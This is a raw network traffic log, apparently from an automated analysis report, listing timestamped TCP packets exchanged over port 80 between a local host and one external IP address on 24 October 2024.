Oct 24, 2024 13:27:07.640719891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640783072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640820026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640853882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640888929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640922070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640937090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.640938044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.640938044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.640938044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.640938044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.640959024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.640991926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641016006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641016006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641028881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641038895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641062975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641082048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641099930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641113043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641135931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641155958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641186953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641206980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641298056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641333103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641408920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641408920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641408920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641433001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641484976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641632080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641666889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641701937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641740084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641773939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641808033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641841888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641844034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641844988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641844988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641844988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641844988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641844988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641876936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641912937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641927958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641927958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641949892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641968012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.641982079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.641993999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.642015934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.642035961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.642050982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.642081022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.642086029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.642101049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.642136097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747071981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747144938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747184038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747217894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747253895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747276068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747276068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747276068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747276068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747289896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747359991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747375965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747375965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747391939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747426033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747427940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747446060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747467995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747483969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747519970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.747895956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.747951031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748090982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748090982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748450041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748501062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748541117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748596907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748631954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748631954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748637915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748631954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748683929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748704910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748704910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748718023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748744965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748754025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748769999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748790979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748812914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748831034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748857975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748864889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.748893976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748918056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.748984098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749013901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749047995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749068022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749068022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749105930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749125004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749161005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749164104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749195099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749217033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749229908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749238968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749285936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749504089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749538898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749566078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749574900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749583960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749629021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749629021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749686003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749687910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749723911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749743938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749759912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749778032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749793053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749818087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749828100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749842882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749856949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749886036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749910116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749911070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749948025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.749973059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749994040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.749999046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750035048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750056982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750066996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750078917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750103951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750123024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750138044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750160933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750170946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750190020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750200033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750230074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750233889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750250101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750268936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750289917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750310898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750336885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750356913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750387907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750421047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750443935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750458002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750463963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750493050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750509024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750528097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750546932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750581026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750586987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750617027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750637054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750646114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750677109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750679970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750694036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750716925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750734091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750752926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750781059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750787973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750803947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750824928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.750842094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750880957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.750986099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751019001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751048088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751054049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751065969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751089096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751108885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751123905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751149893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751157999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751172066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751193047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751213074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751228094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751246929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751262903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751286983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751297951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751319885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751357079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751550913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751585007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751611948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751619101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751631021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751652002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751671076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751687050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751709938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751722097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751744032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751756907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751780033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751791000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751808882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751825094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751852036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751859903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751873970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751894951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751918077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751929998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751954079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.751964092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.751981974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752021074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752386093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752420902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752448082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752454996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752465963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752489090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752510071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752523899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752552032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752558947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752574921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752593040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752612114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752628088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752651930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752662897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752684116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752701998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752726078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752741098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752753973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752794027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752796888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752831936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752849102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752867937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752887964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752902031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752923965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752934933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752952099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.752969027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.752989054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753004074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753024101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753037930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753057957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753072023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753091097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753103971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753127098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753139973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753166914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753174067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753191948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753209114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753230095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753237963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753253937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753258944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753283024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753300905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753534079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753550053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753563881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753578901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753588915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753596067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753611088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753611088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753627062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753642082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753647089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753662109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753667116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753679991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753690004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753696918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753712893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753722906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753727913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753741980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753743887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753757000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753761053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753772974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753777981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753788948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753802061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753804922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753819942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753822088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753840923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.753840923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753865957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753865957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.753885031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754497051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754524946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754542112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754556894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754560947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754560947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754573107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754580975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754590034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754605055 CEST	80	49730	109.107.157.208	192.168.2.4
